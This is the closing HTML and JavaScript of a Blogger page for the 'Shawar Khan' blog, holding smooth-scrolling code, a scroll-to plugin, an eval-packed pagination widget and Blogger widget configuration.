2997 else if (scrollHeight > windowHeight &&
2998 (body.offsetHeight <= windowHeight ||
2999 html.offsetHeight <= windowHeight)) {
3000
3001 html.style.height = 'auto';
3002 //setTimeout(refresh, 10);
3003
3004 // clearfix
3005 if (root.offsetHeight <= windowHeight) {
3006 var underlay = document.createElement("div");
3007 underlay.style.clear = "both";
3008 body.appendChild(underlay);
3009 }
3010 }
3011
3012 // disable fixed background
3013 if (!options.fixedBackground && !isExcluded) {
3014 body.style.backgroundAttachment = "scroll";
3015 html.style.backgroundAttachment = "scroll";
3016 }
3017}
3018
3019
3020/************************************************
3021 * SCROLLING
3022 ************************************************/
3023
3024var que = [];
3025var pending = false;
3026var lastScroll = +new Date;
3027
3028/**
3029 * Pushes scroll actions to the scrolling queue.
3030 */
3031function scrollArray(elem, left, top, delay) {
3032
3033 delay || (delay = 1000);
3034 directionCheck(left, top);
3035
3036 if (options.accelerationMax != 1) {
3037 var now = +new Date;
3038 var elapsed = now - lastScroll;
3039 if (elapsed < options.accelerationDelta) {
3040 var factor = (1 + (30 / elapsed)) / 2;
3041 if (factor > 1) {
3042 factor = Math.min(factor, options.accelerationMax);
3043 left *= factor;
3044 top *= factor;
3045 }
3046 }
3047 lastScroll = +new Date;
3048 }
3049
3050 // push a scroll command
3051 que.push({
3052 x: left,
3053 y: top,
3054 lastX: (left < 0) ? 0.99 : -0.99,
3055 lastY: (top < 0) ? 0.99 : -0.99,
3056 start: +new Date
3057 });
3058
3059 // don't act if there's a pending queue
3060 if (pending) {
3061 return;
3062 }
3063
3064 var scrollWindow = (elem === document.body);
3065
3066 var step = function (time) {
3067
3068 var now = +new Date;
3069 var scrollX = 0;
3070 var scrollY = 0;
3071
3072 for (var i = 0; i < que.length; i++) {
3073
3074 var item = que[i];
3075 var elapsed = now - item.start;
3076 var finished = (elapsed >= options.animationTime);
3077
3078 // scroll position: [0, 1]
3079 var position = (finished) ? 1 : elapsed / options.animationTime;
3080
3081 // easing [optional]
3082 if (options.pulseAlgorithm) {
3083 position = pulse(position);
3084 }
3085
3086 // only need the difference
3087 var x = (item.x * position - item.lastX) >> 0;
3088 var y = (item.y * position - item.lastY) >> 0;
3089
3090 // add this to the total scrolling
3091 scrollX += x;
3092 scrollY += y;
3093
3094 // update last values
3095 item.lastX += x;
3096 item.lastY += y;
3097
3098 // delete and step back if it's over
3099 if (finished) {
3100 que.splice(i, 1); i--;
3101 }
3102 }
3103
3104 // scroll left and top
3105 if (scrollWindow) {
3106 window.scrollBy(scrollX, scrollY);
3107 }
3108 else {
3109 if (scrollX) elem.scrollLeft += scrollX;
3110 if (scrollY) elem.scrollTop += scrollY;
3111 }
3112
3113 // clean up if there's nothing left to do
3114 if (!left && !top) {
3115 que = [];
3116 }
3117
3118 if (que.length) {
3119 requestFrame(step, elem, (delay / options.frameRate + 1));
3120 } else {
3121 pending = false;
3122 }
3123 };
3124
3125 // start a new queue of actions
3126 requestFrame(step, elem, 0);
3127 pending = true;
3128}
3129
3130
3131/***********************************************
3132 * EVENTS
3133 ***********************************************/
3134
3135/**
3136 * Mouse wheel handler.
3137 * @param {Object} event
3138 */
3139function wheel(event) {
3140
3141 if (!initDone) {
3142 init();
3143 }
3144
3145 var target = event.target;
3146 var overflowing = overflowingAncestor(target);
3147
3148 // use default if there's no overflowing
3149 // element or default action is prevented
3150 if (!overflowing || event.defaultPrevented ||
3151 isNodeName(activeElement, "embed") ||
3152 (isNodeName(target, "embed") && /\.pdf/i.test(target.src))) {
3153 return true;
3154 }
3155
3156 var deltaX = event.wheelDeltaX || 0;
3157 var deltaY = event.wheelDeltaY || 0;
3158
3159 // use wheelDelta if deltaX/Y is not available
3160 if (!deltaX && !deltaY) {
3161 deltaY = event.wheelDelta || 0;
3162 }
3163
3164 // check if it's a touchpad scroll that should be ignored
3165 if (!options.touchpadSupport && isTouchpad(deltaY)) {
3166 return true;
3167 }
3168
3169 // scale by step size
3170 // delta is 120 most of the time
3171 // synaptics seems to send 1 sometimes
3172 if (Math.abs(deltaX) > 1.2) {
3173 deltaX *= options.stepSize / 120;
3174 }
3175 if (Math.abs(deltaY) > 1.2) {
3176 deltaY *= options.stepSize / 120;
3177 }
3178
3179 scrollArray(overflowing, -deltaX, -deltaY);
3180 event.preventDefault();
3181}
3182
3183/**
3184 * Keydown event handler.
3185 * @param {Object} event
3186 */
3187function keydown(event) {
3188
3189 var target = event.target;
3190 var modifier = event.ctrlKey || event.altKey || event.metaKey ||
3191 (event.shiftKey && event.keyCode !== key.spacebar);
3192
3193 // do nothing if user is editing text
3194 // or using a modifier key (except shift)
3195 // or in a dropdown
3196 if ( /input|textarea|select|embed/i.test(target.nodeName) ||
3197 target.isContentEditable ||
3198 event.defaultPrevented ||
3199 modifier ) {
3200 return true;
3201 }
3202 // spacebar should trigger button press
3203 if (isNodeName(target, "button") &&
3204 event.keyCode === key.spacebar) {
3205 return true;
3206 }
3207
3208 var shift, x = 0, y = 0;
3209 var elem = overflowingAncestor(activeElement);
3210 var clientHeight = elem.clientHeight;
3211
3212 if (elem == document.body) {
3213 clientHeight = window.innerHeight;
3214 }
3215
3216 switch (event.keyCode) {
3217 case key.up:
3218 y = -options.arrowScroll;
3219 break;
3220 case key.down:
3221 y = options.arrowScroll;
3222 break;
3223 case key.spacebar: // (+ shift)
3224 shift = event.shiftKey ? 1 : -1;
3225 y = -shift * clientHeight * 0.9;
3226 break;
3227 case key.pageup:
3228 y = -clientHeight * 0.9;
3229 break;
3230 case key.pagedown:
3231 y = clientHeight * 0.9;
3232 break;
3233 case key.home:
3234 y = -elem.scrollTop;
3235 break;
3236 case key.end:
3237 var damt = elem.scrollHeight - elem.scrollTop - clientHeight;
3238 y = (damt > 0) ? damt+10 : 0;
3239 break;
3240 case key.left:
3241 x = -options.arrowScroll;
3242 break;
3243 case key.right:
3244 x = options.arrowScroll;
3245 break;
3246 default:
3247 return true; // a key we don't care about
3248 }
3249
3250 scrollArray(elem, x, y);
3251 event.preventDefault();
3252}
3253
3254/**
3255 * Mousedown event only for updating activeElement
3256 */
3257function mousedown(event) {
3258 activeElement = event.target;
3259}
3260
3261
3262/***********************************************
3263 * OVERFLOW
3264 ***********************************************/
3265
3266var cache = {}; // cleared out every once in while
3267setInterval(function () { cache = {}; }, 10 * 1000);
3268
3269var uniqueID = (function () {
3270 var i = 0;
3271 return function (el) {
3272 return el.uniqueID || (el.uniqueID = i++);
3273 };
3274})();
3275
3276function setCache(elems, overflowing) {
3277 for (var i = elems.length; i--;)
3278 cache[uniqueID(elems[i])] = overflowing;
3279 return overflowing;
3280}
3281
3282function overflowingAncestor(el) {
3283 var elems = [];
3284 var rootScrollHeight = root.scrollHeight;
3285 do {
3286 var cached = cache[uniqueID(el)];
3287 if (cached) {
3288 return setCache(elems, cached);
3289 }
3290 elems.push(el);
3291 if (rootScrollHeight === el.scrollHeight) {
3292 if (!isFrame || root.clientHeight + 10 < rootScrollHeight) {
3293 return setCache(elems, document.body); // scrolling root in WebKit
3294 }
3295 } else if (el.clientHeight + 10 < el.scrollHeight) {
3296 overflow = getComputedStyle(el, "").getPropertyValue("overflow-y");
3297 if (overflow === "scroll" || overflow === "auto") {
3298 return setCache(elems, el);
3299 }
3300 }
3301 } while (el = el.parentNode);
3302}
3303
3304
3305/***********************************************
3306 * HELPERS
3307 ***********************************************/
3308
3309function addEvent(type, fn, bubble) {
3310 window.addEventListener(type, fn, (bubble||false));
3311}
3312
3313function removeEvent(type, fn, bubble) {
3314 window.removeEventListener(type, fn, (bubble||false));
3315}
3316
3317function isNodeName(el, tag) {
3318 return (el.nodeName||"").toLowerCase() === tag.toLowerCase();
3319}
3320
3321function directionCheck(x, y) {
3322 x = (x > 0) ? 1 : -1;
3323 y = (y > 0) ? 1 : -1;
3324 if (direction.x !== x || direction.y !== y) {
3325 direction.x = x;
3326 direction.y = y;
3327 que = [];
3328 lastScroll = 0;
3329 }
3330}
3331
3332var deltaBufferTimer;
3333
3334function isTouchpad(deltaY) {
3335 if (!deltaY) return;
3336 deltaY = Math.abs(deltaY)
3337 deltaBuffer.push(deltaY);
3338 deltaBuffer.shift();
3339 clearTimeout(deltaBufferTimer);
3340
3341 var allEquals = (deltaBuffer[0] == deltaBuffer[1] &&
3342 deltaBuffer[1] == deltaBuffer[2]);
3343 var allDivisable = (isDivisible(deltaBuffer[0], 120) &&
3344 isDivisible(deltaBuffer[1], 120) &&
3345 isDivisible(deltaBuffer[2], 120));
3346 return !(allEquals || allDivisable);
3347}
3348
3349function isDivisible(n, divisor) {
3350 return (Math.floor(n / divisor) == n / divisor);
3351}
3352
3353var requestFrame = (function () {
3354 return window.requestAnimationFrame ||
3355 window.webkitRequestAnimationFrame ||
3356 function (callback, element, delay) {
3357 window.setTimeout(callback, delay || (1000/60));
3358 };
3359})();
3360
3361
3362/***********************************************
3363 * PULSE
3364 ***********************************************/
3365
3366/**
3367 * Viscous fluid with a pulse for part and decay for the rest.
3368 * - Applies a fixed force over an interval (a damped acceleration), and
3369 * - Lets the exponential bleed away the velocity over a longer interval
3370 * - Michael Herf, http://stereopsis.com/stopping/
3371 */
3372function pulse_(x) {
3373 var val, start, expx;
3374 // test
3375 x = x * options.pulseScale;
3376 if (x < 1) { // acceleartion
3377 val = x - (1 - Math.exp(-x));
3378 } else { // tail
3379 // the previous animation ended here:
3380 start = Math.exp(-1);
3381 // simple viscous drag
3382 x -= 1;
3383 expx = 1 - Math.exp(-x);
3384 val = start + (expx * (1 - start));
3385 }
3386 return val * options.pulseNormalize;
3387}
3388
3389function pulse(x) {
3390 if (x >= 1) return 1;
3391 if (x <= 0) return 0;
3392
3393 if (options.pulseNormalize == 1) {
3394 options.pulseNormalize /= pulse_(1);
3395 }
3396 return pulse_(x);
3397}
3398
3399var isChrome = /chrome/i.test(window.navigator.userAgent);
3400var isMouseWheelSupported = 'onmousewheel' in document;
3401
3402if (isMouseWheelSupported && isChrome) {
3403 addEvent("mousedown", mousedown);
3404 addEvent("mousewheel", wheel);
3405 addEvent("load", init);
3406};
3407
3408})();
3409//]]></script>
3410<script type='text/javascript'>//<![CDATA[
3411/*!
3412 * jquery.scrollto.js 0.0.1 - https://github.com/yckart/jquery.scrollto.js
3413 * Scroll smooth to any element in your DOM.
3414 *
3415 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
3416 * Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php).
3417 * 2013/02/17
3418 **/
3419$.scrollTo = $.fn.scrollTo = function(x, y, options){
3420
3421 "use strict";
3422
3423 if (!(this instanceof $)) return $.fn.scrollTo.apply($('html, body'), arguments);
3424
3425 options = $.extend({}, {
3426 gap: {
3427 x: 0,
3428 y: 0
3429 },
3430 animation: {
3431 easing: 'swing',
3432 duration: 600,
3433 complete: $.noop,
3434 step: $.noop
3435 }
3436 }, options);
3437
3438 return this.each(function(){
3439 var elem = $(this);
3440 elem.stop().animate({
3441 scrollLeft: !isNaN(Number(x)) ? x : $(y).offset().left + options.gap.x,
3442 scrollTop: !isNaN(Number(y)) ? y : $(y).offset().top + options.gap.y
3443 }, options.animation);
3444 });
3445};
3446
3447
3448
3449$(document).ready(function(){
3450 "use strict";
3451
3452 /**
3453 * This part causes smooth scrolling using scrollto.js
3454 * We target all a tags inside the nav, and apply the scrollto.js to it.
3455 */
3456 $(".easing").click(function(evn){
3457 evn.preventDefault();
3458 $('html,body').scrollTo(this.hash, this.hash);
3459 });
3460
3461
3462
3463 /**
3464 * This part handles the highlighting functionality.
3465 * We use the scroll functionality again, some array creation and
3466 * manipulation, class adding and class removing, and conditional testing
3467 */
3468 var aChildren = $("navbar li").children(); // find the a children of the list items
3469 var aArray = []; // create the empty aArray
3470 for (var i=0; i < aChildren.length; i++) {
3471 var aChild = aChildren[i];
3472 var ahref = $(aChild).attr('href');
3473 aArray.push(ahref);
3474 } // this for loop fills the aArray with attribute href values
3475
3476 $(window).scroll(function(){
3477 var windowPos = $(window).scrollTop(); // get the offset of the window from the top of page
3478 var windowHeight = $(window).height(); // get the height of the window
3479 var docHeight = $(document).height();
3480
3481 for (var i=0; i < aArray.length; i++) {
3482 var theID = aArray[i];
3483 var divPos = $(theID).offset().top; // get the offset of the div from the top of page
3484 var divHeight = $(theID).height(); // get the height of the div in question
3485 if (windowPos >= divPos && windowPos < (divPos + divHeight)) {
3486 $("a[href='" + theID + "']").addClass("nav-active");
3487 } else {
3488 $("a[href='" + theID + "']").removeClass("nav-active");
3489 }
3490 }
3491
3492 if(windowPos + windowHeight == docHeight) {
3493 if (!$("navbar li:last-child a").hasClass("nav-active")) {
3494 var navActiveCurrent = $(".nav-active").attr("href");
3495 $("a[href='" + navActiveCurrent + "']").removeClass("nav-active");
3496 $("navbar li:last-child a").addClass("nav-active");
3497 }
3498 }
3499 });
3500 });
3501//]]></script>
3502<script>
3503 new WOW().init();
3504</script>
3505<script type='text/javascript'>
3506 /*<![CDATA[*/
3507 var postperpage=6;
3508 var numshowpage=2;
3509 var upPageWord ='Previous';
3510 var downPageWord ='Next';
3511 var urlactivepage=location.href;
3512 var home_page="/";
3513 /*]]>*/
3514</script>
3515<script type='text/javascript'>//<![CDATA[
3516eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 I;6 i;6 f;6 n;1f();C 1g(15){6 5=\'\';J=K(N/2);4(J==N-J){N=J*2+1}A=f-J;4(A<1)A=1;d=K(15/j)+1;4(d-1==15/j)d=d-1;D=A+N-1;4(D>d)D=d;5+="<3 7=\'1y\'>1z "+f+\' 1A \'+d+"</3>";6 16=K(f)-1;4(f>1){4(f==2){4(i=="o"){5+=\'<3 7="1B"><a 9="\'+B+\'">\'+O+\'</a></3>\'}b{5+=\'<3 7="g"><a 9="/r/s/\'+n+\'?&c-k=\'+j+\'">\'+O+\'</a></3>\'}}b{4(i=="o"){5+=\'<3 7="g"><a 9="#" v="L(\'+16+\');w x">\'+O+\'</a></3>\'}b{5+=\'<3 7="g"><a 9="#" v="M(\'+16+\');w x">\'+O+\'</a></3>\'}}}4(A>1){4(i=="o"){5+=\'<3 7="g"><a 9="\'+B+\'">1</a></3>\'}b{5+=\'<3 7="g"><a 9="/r/s/\'+n+\'?&c-k=\'+j+\'">1</a></3>\'}}4(A>2){5+=\' ... \'}1h(6 l=A;l<=D;l++){4(f==l){5+=\'<3 7="1C">\'+l+\'</3>\'}b 4(l==1){4(i=="o"){5+=\'<3 7="g"><a 9="\'+B+\'">1</a></3>\'}b{5+=\'<3 7="g"><a 9="/r/s/\'+n+\'?&c-k=\'+j+\'">1</a></3>\'}}b{4(i=="o"){5+=\'<3 7="g"><a 9="#" v="L(\'+l+\');w x">\'+l+\'</a></3>\'}b{5+=\'<3 7="g"><a 9="#" v="M(\'+l+\');w x">\'+l+\'</a></3>\'}}}4(D<d-1){5+=\'...\'}4(D<d){4(i=="o"){5+=\'<3 7="g"><a 9="#" v="L(\'+d+\');w x">\'+d+\'</a></3>\'}b{5+=\'<3 7="g"><a 9="#" v="M(\'+d+\');w x">\'+d+\'</a></3>\'}}6 17=K(f)+1;4(f<d){4(i=="o"){5+=\'<3 7="g"><a 9="#" v="L(\'+17+\');w x">\'+1i+\'</a></3>\'}b{5+=\'<3 7="g"><a 9="#" v="M(\'+17+\');w x">\'+1i+\'</a></3>\'}}6 E=y.1D("E");6 18=y.1E("1F-1G");1h(6 p=0;p<E.P;p++){E[p].1j=5}4(E&&E.P>0){5=\'\'}4(18){18.1j=5}}C 1a(Q){6 R=Q.R;6 1k=K(R.1H$1I.$t,10);1g(1k)}C 1f(){6 h=u;4(h.e("/r/s/")!=-1){4(h.e("?S-c")!=-1){n=h.F(h.e("/r/s/")+14,h.e("?S-c"))}b{n=h.F(h.e("/r/s/")+14,h.e("?&c"))}}4(h.e("?q=")==-1&&h.e(".5")==-1){4(h.e("/r/s/")==-1){i="o";4(u.e("#G=")!=-1){f=u.F(u.e("#G=")+8,u.P)}b{f=1}y.1l("<m T=\\""+B+"U/V/W?c-k=1&X=Y-Z-m&11=1a\\"><\\/m>")}b{i="s";4(h.e("&c-k=")==-1){j=1J}4(u.e("#G=")!=-1){f=u.F(u.e("#G=")+8,u.P)}b{f=1}y.1l(\'<m T="\'+B+\'U/V/W/-/\'+n+\'?X=Y-Z-m&11=1a&c-k=1" ><\\/m>\')}}}C L(H){12=(H-1)*j;I=H;6 13=y.1m(\'1n\')[0];6 z=y.1o(\'m\');z.1p=\'1q/1r\';z.1s("T",B+"U/V/W?1t-1u="+12+"&c-k=1&X=Y-Z-m&11=1b");13.1v(z)}C M(H){12=(H-1)*j;I=H;6 13=y.1m(\'1n\')[0];6 z=y.1o(\'m\');z.1p=\'1q/1r\';z.1s("T",B+"U/V/W/-/"+n+"?1t-1u="+12+"&c-k=1&X=Y-Z-m&11=1b");13.1v(z)}C 1b(Q){1c=Q.R.1K[0];6 1w=1c.1x.$t.F(0,19)+1c.1x.$t.F(1L,1M);6 1d=1N(1w);4(i=="o"){6 1e="/r?S-c="+1d+"&c-k="+j+"#G="+I}b{6 1e="/r/s/"+n+"?S-c="+1d+"&c-k="+j+"#G="+I}1O.9=1e}',62,113,'|||span|if|html|var|class||href||else|max|maksimal|indexOf|nomerhal|showpageNum|thisUrl|jenis|postperpage|results|jj|script|lblname1|page|||search|label||urlactivepage|onclick|return|false|document|newInclude|mulai|home_page|function|akhir|pageArea|substring|PageNo|numberpage|nopage|nomerkiri|parseInt|redirectpage|redirectlabel|numshowpage|upPageWord|length|root|feed|updated|src|feeds|posts|summary|alt|json|in||callback|jsonstart|nBody||banyakdata|prevnomer|nextnomer|blogPager||hitungtotaldata|finddatepost|post|timestamp|alamat|halamanblogger|loophalaman|for|downPageWord|innerHTML|totaldata|write|getElementsByTagName|head|createElement|type|text|javascript|setAttribute|start|index|appendChild|timestamp1|published|showpageOf|Page|of|showpage|showpagePoint|getElementsByName|getElementById|blog|pager|openSearch|totalResults|20|entry|23|29|encodeURIComponent|location'.split('|'),0,{}))
3517//]]></script>
3518<script src='https://apis.google.com/js/plusone.js' type='text/javascript'></script>
3519
3520<script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/211300122-widgets.js"></script>
3521<script type='text/javascript'>
3522window['__wavt'] = 'AOuZoY5GKVj0NAxyiHwvqhv9q3QTttWkZg:1547837065118';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d6813541491029333765','//www.shawarkhan.com/','6813541491029333765');
3523_WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '6813541491029333765', 'title': 'Shawar Khan', 'url': 'https://www.shawarkhan.com/', 'canonicalUrl': 'https://www.shawarkhan.com/', 'homepageUrl': 'https://www.shawarkhan.com/', 'searchUrl': 'https://www.shawarkhan.com/search', 'canonicalHomepageUrl': 'https://www.shawarkhan.com/', 'blogspotFaviconUrl': 'https://www.shawarkhan.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': true, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': '', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Shawar Khan - Atom\x22 href\x3d\x22https://www.shawarkhan.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22Shawar Khan - RSS\x22 href\x3d\x22https://www.shawarkhan.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Shawar Khan - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/6813541491029333765/posts/default\x22 /\x3e\n', 'meTag': '', 'adsenseClientId': 'ca-pub-8923376727134958', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': false, 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/15212a1712486a03', 'plusOneApiSrc': 'https://apis.google.com/js/plusone.js', 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'Twitter', 'key': 'twitter', 'shareMessage': 'Share to Twitter', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Google+', 'key': 'googlePlus', 'shareMessage': 'Share to Google+', 'target': 'googleplus'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': false, 'googlePlusShareButtonWidth': 300, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'index', 'pageName': '', 'pageTitle': 'Shawar Khan'}}, {'name': 'features', 'data': {'sharing_get_link_dialog': 'true', 'sharing_native': 'false'}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': false, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Shawar Khan', 'description': 'Just a guy who breaks into web like a .357 bullet', 'url': 'https://www.shawarkhan.com/', 'type': 'feed', 'isSingleItem': false, 'isMultipleItems': true, 'isError': false, 'isPage': false, 'isPost': false, 'isHomepage': true, 'isArchive': false, 'isLabelSearch': false}}]);
3524_WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', document.getElementById('Header1'), {}, 'displayModeFull'));
3525_WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'content', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'viewType': 'FILTERED_POSTMOD', 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/3811023861-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/368954415-lightbox_bundle.css'}, 'displayModeFull'));
3526_WidgetManager._RegisterWidget('_AttributionView', new _WidgetInfo('Attribution1', 'footer1', document.getElementById('Attribution1'), {}, 'displayModeFull'));
3527_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML1', 'footer1', document.getElementById('HTML1'), {}, 'displayModeFull'));
3528_WidgetManager._RegisterWidget('_ContactFormView', new _WidgetInfo('ContactForm1', 'contact-form', document.getElementById('ContactForm1'), {'contactFormMessageSendingMsg': 'Sending...', 'contactFormMessageSentMsg': 'Your message has been sent.', 'contactFormMessageNotSentMsg': 'Message could not be sent. Please try again later.', 'contactFormInvalidEmailMsg': 'A valid email address is required.', 'contactFormEmptyMessageMsg': 'Message field cannot be empty.', 'title': 'Contact Form', 'blogId': '6813541491029333765', 'contactFormNameMsg': 'Name', 'contactFormEmailMsg': 'Email', 'contactFormMessageMsg': 'Message', 'contactFormSendMsg': 'Send', 'submitUrl': 'https://www.blogger.com/contact-form.do'}, 'displayModeFull'));
3529</script>
3530</body>
3531</html>